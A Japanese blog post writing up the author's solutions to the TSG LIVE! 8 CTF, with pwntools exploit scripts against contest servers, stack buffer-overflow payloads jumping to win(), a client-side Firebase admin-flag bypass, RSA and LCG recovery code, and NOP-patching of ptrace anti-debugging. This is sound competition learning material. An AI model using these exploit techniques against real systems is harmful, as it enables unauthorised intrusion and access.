雑記

魔法少女になりたい

TSG LIVE! 8 CTF Writeup

概要

この記事は、2022 年 5 月 14 日 12:33-14:13 に開催された TSG LIVE! 8 CTF の Writeup です。自分は一人で参加し、1550 点を入れて優勝しました*1。五月祭や駒場祭で開催されるこの CTF は短時間ながら退屈な問題が存在しないCTF で、毎回とても楽しみにしています。今回も期待に違わず CTF のエッセンスが詰まった面白い問題揃いでした。今年の TSGCTF も楽しみですね。



[misc] guess (8 solves, solved at 12:42)

TSG の misc は好きなので、とりあえず misc から開きました。

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/unistd.h>
#include <unistd.h>
#include <iostream>
#include <string>
#include <thread>
#include <cstdlib>
#include <chrono>

void win(){
  using namespace std;
  cout<<"you win!\n"<<getenv("FLAG")<<endl;
  cout.flush();
  syscall(__NR_exit_group, 0);
}

void guess_checker(std::string s){
  using namespace std;
  cerr<<"Got:"<<s<<endl;
  int fd = open("/tmp/password",O_RDONLY);
  if(s.size()>20){
    close(fd);
  }
  if (!(fcntl(fd, F_GETFL) < 0)) {
    system("pwgen 50000 -s -1 -N1|tail -c 20 > /tmp/password");
    string pass;
    char c;
    while(read(fd,&c,1)==1&&c!='\n'){
      pass+=c;
    }
    cerr<<"Expected:"<<pass<<endl;
    if(s==pass){
      win();
    }
  }else{
    cout<<"Wrong Password"<<endl;
    cout.flush();
    this_thread::sleep_for(chrono::microseconds(500));
  }
  close(fd);
}
int main(int argc, char const* argv[])
{
  system("touch /tmp/password");
  using namespace std;
  while(true){
    cout<<"guess password:";
    cout.flush();
    string s;
    getline(cin,s);
    thread(guess_checker,s).detach();
  }
  return 0;
}

thread とかを使ってることから、明らかに race っぽいです。同じパスワードが複数回使われることがあったりするのかな?と思い、とりあえず改行しまくる入力を送ってみることに。

from pwn import *

BIN_NAME = './guess'
REMOTE_ADDR = 'chall.live.ctf.tsg.ne.jp'
REMOTE_PORT = 21234
LOCAL = False

if LOCAL: stream = process(BIN_NAME)
else: stream = remote(REMOTE_ADDR, REMOTE_PORT)

stream.send(b"\n" * 100)
stream.interactive()

同じパスワードが返ってくることには返ってきているものの、それを送り返すほど暇はなさそうだな……などと考えながらわちゃわちゃ遊んでいると、なぜか flag が出てきてしまいました。すいません……

[web] problem on fire (8 solves, solved at 12:51)

firebase 系の問題。firebase に触ったことはないけれど、開始 10 分時点で solve が出ていたから無理ゲーというわけではなさそうだなあと思ったのでやることに。ソースを見ると、以下のようなスクリプトが書いてありました。

<script type="module">
	import {createApp} from 'https://cdn.jsdelivr.net/npm/vue@3.2.33/dist/vue.esm-browser.js';
	createApp({
		data() {
			return {
				flag: 'Getting flag...',
			};
		},
		async mounted() {
			const auth = firebase.auth();
			const {user} = await auth.signInAnonymously();
			const token = await user.getIdToken();
			const uid = user.uid;

			try {
				const db = firebase.firestore();
				await db.collection('users').doc(uid).set({admin: false});

				const flag = await db.collection('flags').doc('flag').get();
				this.flag = flag.get('value');
			} catch (e) {
				this.flag = e.toString();
			}
		},
	}).mount('#app');
</script>

見るからに {admin: false} が怪しいので、これを true にしたらなんとかならないかな……などと思ったりします。こういう時に便利なのが DevTools にある Local Overrides。これで件の部分を {admin: true} と書き換えてあげると、flag が降ってきました。

[crypto] Forgetful RSA (9 solves, solved at 13:02)

1024 bit の RSA で、[pow(m >> i, 0x101, N) for i in range(m.bit_length() + 1)] だけがもらえます*2

from Crypto.Util.number import getPrime, bytes_to_long

p = getPrime(512)
q = getPrime(512)
N = p * q
phi = (p - 1) - (q - 1)
e = 0x101
d = pow(e, -1, phi)

with open('flag.txt', 'rb') as f:
    flag = bytes_to_long(f.read())

c = []
for i in range(flag.bit_length() + 1):
    c.append(pow(flag >> i, e, N))

print(f'c = {c}')

まず、pow(flag >> i, e) < N を満たす最小の整数 i について考えます。このとき、pow(flag >> (i - 1), e) - pow(flag >> (i - 1), e, N)N の正の倍数になっていそうなことが分かります。一見 flag >> (i - 1) は一意に定まらなさそうですが、i のとりかたより pow(flag >> i, e) 及び flag >> i が一意に定まるために 2 通り程度試せばよいです。ただ、これだけでは N がわからないので、i + 2 で同様のことをやったものと GCD を取ることにします。この場合でも高々 4 通り程度試せばよいです。

スクリプトは以下の通りとなりました。

from math import gcd
from output import c as cs

c1 = 100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
c2 = 17234647961827627254305004736582387872360759553391338157175685233319589649902147745640699633708538948311062421924763712862952531161299221214962716924596111250351437988485093451648582902739292571199379168760342780564277718181864371677557960105621902331322310686645216227040048429682683783513268516491331281603
c3 = 71432252101933935197924165935843334056089186981503477314170450163372407863493589824925079068793513863204652099962175810770672413733762627708187060026664286259476934924169247326414291409200620244338550792727408318832405598505815938021315000005877988235580383627767539070657103284985491514447044758331195077943

assert pow(10, 0x101) == c1

cands = [
    [10, 20, 40],
    [10, 20, 41],
    [10, 21, 42],
    [10, 21, 43],
]

for m1, m2, m3 in cands:
    n = gcd(pow(m2, 0x101) - c2, pow(m3, 0x101) - c3)
    if n.bit_length() < 1024: continue
    cur = 0
    for c in cs[::-1]:
        updated = False
        for nxt in [cur * 2, cur * 2 + 1]:
            if pow(nxt, 0x101, n) != c: continue
            updated = True
            cur = nxt
            break
        assert updated
    print(cur.to_bytes(len(cs) // 8, "big"))

実は gcd を取った後にも aN(a≠1) の形になっていることがありえるんですが、今回は実験で大丈夫なことを確かめたのでこのままで。速解き CTF では適度な雑さも大事だということを、昔に出た RTACTF で学びました。

[crypto] Roulette (8 solves, solved at 13:26)

配布されるスクリプトを簡潔にすると、以下のような感じです。

class RNG:
    def __init__(self):
        self.p = np.random.randint(2**32)
        self.q = np.random.randint(2**32)
        self.r = np.random.randint(2**32)
        self.x = np.random.randint(2**32)
    def next(self):
        self.x = (self.p * self.x + self.q) % self.r
        return self.x

rng = RNG()
for _ in range(3): print(rng.next() % 37)
for _ in range(4): assert rng.next() % 37 == int(input())
print(flag)

線形合同法で返ってきた値に mod が取られていた場合に普遍的にうまく解けるという話は聞いたことがないので、何かをしないといけないんだろうなあという気持ちになります。今回の場合は r がランダムに取られていることが活用できそうです。r % 37 == 0 となっていると仮定すると、ちょうど問題の制約内でパラメータがリークできそうです。スクリプトは以下の通りとなりました。

from z3 import *
from pwn import *

BIN_NAME = './main.py'
REMOTE_ADDR = 'chall.live.ctf.tsg.ne.jp'
REMOTE_PORT = 61234
LOCAL = False

stream = None
def reconnect():
    global stream
    if stream is not None: stream.close()
    if LOCAL: stream = process(["python", BIN_NAME])
    else: stream = remote(REMOTE_ADDR, REMOTE_PORT)

while True:
    reconnect()

    res = []
    for i in range(3):
        stream.sendlineafter(b'> ', b'1')
        stream.sendlineafter(b'> ', b'0')
        stream.recvuntil(b'Result: ')
        res.append(int(stream.recvline(keepends=False)))
    p, q = None, None
    print(res)
    for pcand in range(37):
        for qcand in range(37):
            x = res[0]
            for nxt in res[1:]:
                x = (x * pcand + qcand) % 37
                if nxt != x: break
            else:
                p, q = pcand, qcand
    if p is None or q is None: continue
    print(f'[+] {p=}, {q=}')
    x = res[-1]
    money = 1
    for i in range(4):
        x = (x * p + q) % 37
        stream.sendlineafter(b'> ', str(money).encode())
        stream.sendlineafter(b'> ', str(x).encode())
        stream.recvuntil(b'Result: ')
        res = int(stream.recvline(keepends=False))
        if res != x:
            print(f"[!] {res=}, {x=}")
            break
        money *= 36
    else:
        stream.interactive()
    continue

z3 を使おうとして全探索できるレベルだということに気がついた痕跡が見受けられますね。後で放送を見返したら first blood だったみたい。嬉しいですね。

[pwn] bpxover (15 solves, solved at 13:30)

ド典型 bof。オフセットを調べる時間も勿体ないので気合の pack(chall.symbols["win"]) * 10。RTACTF で mora さんが使っていたテクです。

from pwn import *

BIN_NAME = 'chall'
REMOTE_ADDR = 'chall.live.ctf.tsg.ne.jp'
REMOTE_LIBC_PATH = 'libc-2.31.so'
REMOTE_PORT = 30006
LOCAL = False

chall = ELF(BIN_NAME)
context.binary = chall

if LOCAL: stream = process(BIN_NAME)
else: stream = remote(REMOTE_ADDR, REMOTE_PORT)

payload = pack(chall.symbols["win"]) * 10
stream.sendline(payload)

stream.interactive()

[pwn] bpxor (8 solves, solved at 13:39)

bof脆弱性が消えた代わりに、入力した値とベースポインタが XOR されるようになりました。XOR されるところでの状態を見ると、以下のようになっています。

───────────────────[ REGISTERS ]───────────────────
 RAX  0x1337
 RBX  0x4012b0 (__libc_csu_init) ◂— endbr64
 RCX  0x0
 RDX  0xffffffffffffecc9
 RDI  0x7fffffffdd84 ◂— 0x4010d000000000
 RSI  0x9
 R8   0x1999999999999999
 R9   0x0
 R10  0x7ffff7f58ac0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000
 R11  0x7ffff7f593c0 (_nl_C_LC_CTYPE_class+256) ◂— 0x2000200020002
 R12  0x4010d0 (_start) ◂— endbr64
 R13  0x7fffffffde90 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdda0 ◂— 0x0
 RSP  0x7fffffffdd80 ◂— 0x39313934 /* '4919' */
*RIP  0x401298 (main+168) ◂— xor    rbp, rax
───────────────────[ DISASM ]───────────────────
   0x401283 <main+147>    mov    esi, 0
   0x401288 <main+152>    mov    rdi, rax
   0x40128b <main+155>    call   strtoll@plt <strtoll@plt>

   0x401290 <main+160>    mov    qword ptr [rbp - 8], rax
   0x401294 <main+164>    mov    rax, qword ptr [rbp - 8]
 ► 0x401298 <main+168>    xor    rbp, rax
   0x40129b <main+171>    mov    eax, 0
   0x4012a0 <main+176>    leave
   0x4012a1 <main+177>    ret

   0x4012a2               nop    word ptr cs:[rax + rax]
   0x4012ac               nop    dword ptr [rax]
───────────────────[ STACK ]───────────────────
00:0000│ rsp rdi-4 0x7fffffffdd80 ◂— 0x39313934 /* '4919' */
01:0008│           0x7fffffffdd88 —▸ 0x4010d0 (_start) ◂— endbr64
02:0010│           0x7fffffffdd90 —▸ 0x7fffffffde90 ◂— 0x1
03:0018│           0x7fffffffdd98 ◂— 0x1337
04:0020│ rbp       0x7fffffffdda0 ◂— 0x0
05:0028│           0x7fffffffdda8 —▸ 0x7ffff7de10b3 (__libc_start_main+243)

これを見ると、入力した文字が rbp-0x20 あたりから入っていることが分かります。16文字まで入力できるため、'1337\x00\x00\x00\x00\xef\xbe\xad\xde' などとすれば rbp-0x18 の場所に 0xdeadbeef という値が乗りそうです。スクリプトは以下の通りとなりました。

from pwn import *

BIN_NAME = 'chall'
REMOTE_ADDR = 'chall.live.ctf.tsg.ne.jp'
REMOTE_LIBC_PATH = 'libc-2.31.so'
REMOTE_PORT = 30007
LOCAL = False

chall = ELF(BIN_NAME)
context.binary = chall

if LOCAL: stream = process(BIN_NAME)
else: stream = remote(REMOTE_ADDR, REMOTE_PORT)
stream.sendline(str(0x20).encode().ljust(8, b'\x00') + pack(chall.symbols["win"]))

stream.interactive()

[pwn] DNS ROPOB (8 solves, solved at 14:12)

高配点だったので絶対に通したかった rev です。解き始めた時点で既に複数チームが解いていたため、そんなに難しくないのではないかと思ったので取り組むことにしました。

とりあえず ghidra で開いてみるも、うまいデコンパイルは走らなそうです。動的解析をしようとしてもアタッチした瞬間死んでしまします。デバッガ検知が入っているのかなあと思ったので strace で覗くと、ptrace(PTRACE_TRACEME) が呼ばれていることが分かります。これが呼ばれているところをとりあえず nop で潰してみると、すんなりアタッチできました。15分くらいデバッガと格闘しながらアセンブリの挙動を眺めていると、関数は 1 命令ずつバラバラにされてから、それを resolver 関数によって rop のように組み直されていることが分かります。幸いにも、バラバラにされたガジェットの順番がシャッフルされていなさそう*3なので、雑な Python で元のアセンブリに戻すことができました。

ls = open("s.txt").read().splitlines()
for i in range(5, len(ls)):
    if (ls[i - 1].endswith("RET") and ls[i - 2].endswith("POPFD")) or ("LAB_" in ls[i - 1] and "J" not in ls[i - 1]): print(ls[i])
    MOV        RBP,RSP
    SUB        RSP,0x50
    MOV        qword ptr [RBP + -0x48],RDI
    MOV        dword ptr [RBP + -0x4c],ESI
    MOV        RAX,qword ptr FS:[0x28]
    MOV        qword ptr [RBP + -0x8],RAX
    XOR        EAX,EAX
    MOV        RAX,qword ptr [DAT_00102678]                     = 9349499948101812h
    MOV        RDX,qword ptr [DAT_00102680]                     = D449E8A8F3595948h
    MOV        qword ptr [RBP + -0x30],RAX
    MOV        qword ptr [RBP + -0x28],RDX
    MOV        RAX,qword ptr [DAT_00102688]                     = E796858C0A68B5C6h
    MOV        RDX,qword ptr [DAT_00102690]                     = 7C8D76A3435769F8h
    MOV        qword ptr [RBP + -0x20],RAX
    MOV        qword ptr [RBP + -0x18],RDX
    MOVZX      EAX,byte ptr [DAT_00102698]
    MOV        byte ptr [RBP + -0x10],AL
    MOV        byte ptr [RBP + -0x36],0x63
    MOV        byte ptr [RBP + -0x35],0x71
    MOV        dword ptr [RBP + -0x34],0x0
    JMP        LAB_0010192a
LAB_00100d43                                    XREF[1]:     00101964(j)
    MOV        EAX,dword ptr [RBP + -0x34]
    CDQ
    SHR        EDX,0x1f
    ADD        EAX,EDX
    AND        EAX,0x1
    SUB        EAX,EDX
    CMP        EAX,0x1
    JNZ        LAB_001013fd
    MOV        EAX,dword ptr [RBP + -0x34]
    MOVSXD     RDX,EAX
    MOV        RAX,qword ptr [RBP + -0x48]
    ADD        RAX,RDX
    MOVZX      EAX,byte ptr [RAX]
    MOVSX      EDX,AL
    MOVZX      EAX,byte ptr [RBP + -0x36]
    MOV        ECX,EDX
    XOR        ECX,EAX
    MOV        EAX,dword ptr [RBP + -0x34]
    MOVSXD     RDX,EAX
    LEA        RAX,[SEED1]                                      =
    MOVZX      EDX,byte ptr [RDX + RAX*0x1]
    MOV        EAX,dword ptr [RBP + -0x34]
    CDQE
    MOVZX      EAX,byte ptr [RBP + RAX*0x1 + -0x30]
    XOR        EAX,EDX
    MOVZX      EAX,AL
    CMP        ECX,EAX
    JZ         LAB_001018f0
    MOV        dword ptr [RBP + -0x4c],0x1
    JMP        LAB_001019a0
LAB_001013fd                                    XREF[1]:     00100ece(j)
    MOV        EAX,dword ptr [RBP + -0x34]
    MOVSXD     RDX,EAX
    MOV        RAX,qword ptr [RBP + -0x48]
    ADD        RAX,RDX
    MOVZX      EAX,byte ptr [RAX]
    MOVSX      EDX,AL
    MOVZX      EAX,byte ptr [RBP + -0x35]
    MOV        ECX,EDX
    XOR        ECX,EAX
    MOV        EAX,dword ptr [RBP + -0x34]
    MOVSXD     RDX,EAX
    LEA        RAX,[SEED1]                                      =
    MOVZX      EDX,byte ptr [RDX + RAX*0x1]
    MOV        EAX,dword ptr [RBP + -0x34]
    CDQE
    MOVZX      EAX,byte ptr [RBP + RAX*0x1 + -0x30]
    XOR        EAX,EDX
    MOVZX      EAX,AL
    CMP        ECX,EAX
    JZ         LAB_001018f0
    MOV        dword ptr [RBP + -0x4c],0x1
    JMP        LAB_001019a0
LAB_001018f0                                    XREF[2]:     00101349(j), 0010183c(j)
    ADD        dword ptr [RBP + -0x34],0x1
LAB_0010192a                                    XREF[1]:     00100d08(j)
    CMP        dword ptr [RBP + -0x34],0x1f
    JLE        LAB_00100d43
LAB_001019a0                                    XREF[2]:     001013c2(j), 001018b5(j)
    MOV        EAX,dword ptr [RBP + -0x4c]
    MOV        RSI,qword ptr [RBP + -0x8]
    XOR        RSI,qword ptr FS:[0x28]
    JZ         LAB_00101ac5
    CALL       <EXTERNAL>::__stack_chk_fail                     undefined __stack_chk_fail()
LAB_00101ac5                                    XREF[1]:     00101a52(j)
    LEAVE
    RET

これを読み解く傍ら、もしかしたら angr で解けるかもしれないな……という微かな期待から angr を回しておくことにしました。同様の手法で printf("correct!") を呼んでいる部分を探し、そこに dest_addr を置いてみることに。

import angr
import sys
base_addr = 0x400000
dest_addr = base_addr + 0x2332
bin_path = 'dns_ropob'
proj = angr.Project(bin_path)

state = proj.factory.entry_state()

simgr = proj.factory.simulation_manager(state)
simgr.explore(find=dest_addr)
state = simgr.found[0]
print(state.posix.dumps(0))

そうすると、すんなりと解けてしまいました。ワーオ。

感想

とにかく面白かったです。最後の一問は終了 40 秒前くらいに通せたのですが、順位表が凍結されていたのですんでのところで優勝を逃したと思い込み、とても悔しかったのを覚えています。悔しくなれるということはそれだけ本気で取り組めたということでもあり、非本質に気が散らされることのないとても濃密な 100 分だったということを表しているのではないでしょうか。
最近我々は「非本質なイライラがなく、良質な問題が多い初級者~中級者向けCTF」をぬくぬく CTF と呼んでいるのですが、TSG LIVE! CTF は毎回ぬくぬく CTF で最高です*4。下手に知らない 24h に出るよりも満足感が高いですし、本当にこういう CTF が増えて欲しいと思っています。広げよう、ぬくぬく CTF の輪。3-4チーム持ち回りで月一開催みたいなのしませんか?本気で。やる気はあります。よろしくお願いします。

*1:うれし~~~~~!

*2:N は貰えない

*3:書いている今まさに気がついたんですが、これが問題文の由来ですね

*4:SUSHI-DA の回はアチアチかもしれない